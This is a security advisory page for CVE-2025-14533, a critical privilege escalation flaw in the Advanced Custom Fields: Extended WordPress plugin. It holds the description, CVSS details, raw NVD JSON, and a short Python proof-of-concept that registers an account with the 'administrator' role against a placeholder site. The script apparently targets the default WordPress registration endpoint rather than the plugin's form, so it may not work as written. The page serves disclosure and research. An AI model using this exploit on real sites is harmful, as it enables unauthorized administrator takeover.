Security Vulnerability Report
中文
CVE-2025-14533 CVSS 9.8 CRITICAL

CVE-2025-14533

Published: 2026-01-20 10:16:06
Last Modified: 2026-04-15 00:35:42

Description

The Advanced Custom Fields: Extended plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 0.9.2.1. This is due to the 'insert_user' function not restricting the roles with which a user can register. This makes it possible for unauthenticated attackers to supply the 'administrator' role during registration and gain administrator access to the site. Note: The vulnerability can only be exploited if 'role' is mapped to the custom field.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Advanced Custom Fields: Extended <= 0.9.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-14533 PoC - Advanced Custom Fields: Extended Privilege Escalation Note: This PoC is for educational and security testing purposes only. """ import requests import sys TARGET_URL = "https://target-site.com" def exploit_privilege_escalation(): """ Exploit the privilege escalation vulnerability in ACF Extended plugin. The plugin fails to restrict roles during user registration. """ # Registration endpoint (usually wp-login.php?action=register or custom endpoint) register_url = f"{TARGET_URL}/wp-login.php?action=register" # Attacker-controlled registration data # The 'role' parameter is not properly validated by the plugin payload = { 'user_login': 'attacker_account', 'user_email': '[email protected]', 'role': 'administrator', # This is the key - plugin accepts this role 'wp-submit': 'Register' } try: response = requests.post(register_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Registration request sent successfully") print("[+] If successful, attacker now has administrator access") print("[+] Next steps: Login with created credentials") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": print("CVE-2025-14533 - ACF Extended Privilege Escalation PoC") print("=" * 50) exploit_privilege_escalation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14533", "sourceIdentifier": "[email protected]", "published": "2026-01-20T10:16:05.583", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Advanced Custom Fields: Extended plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 0.9.2.1. This is due to the 'insert_user' function not restricting the roles with which a user can register. This makes it possible for unauthenticated attackers to supply the 'administrator' role during registration and gain administrator access to the site. Note: The vulnerability can only be exploited if 'role' is mapped to the custom field."}, {"lang": "es", "value": "El plugin Advanced Custom Fields: Extended para WordPress es vulnerable a la escalada de privilegios en todas las versiones hasta la 0.9.2.1, inclusive. Esto se debe a que la función 'insert_user' no restringe los roles con los que un usuario puede registrarse. Esto hace posible que atacantes no autenticados proporcionen el rol de 'administrator' durante el registro y obtengan acceso de administrador al sitio. Nota: La vulnerabilidad solo puede ser explotada si 'role' está mapeado al campo personalizado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/acf-extended/tags/0.9.2.1/includes/modules/form/module-form-action-user.php#L636", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/acf-extended/tags/0.9.2.2/includes/fields/field-user-roles.php#L437", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/acf-extended/tags/0.9.2.2/includes/modules/form/module-form-action-user.php#L356", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d44f8af2-3525-4b00-afa8-a908250cc838?source=cve", "source": "[email protected]"}]}}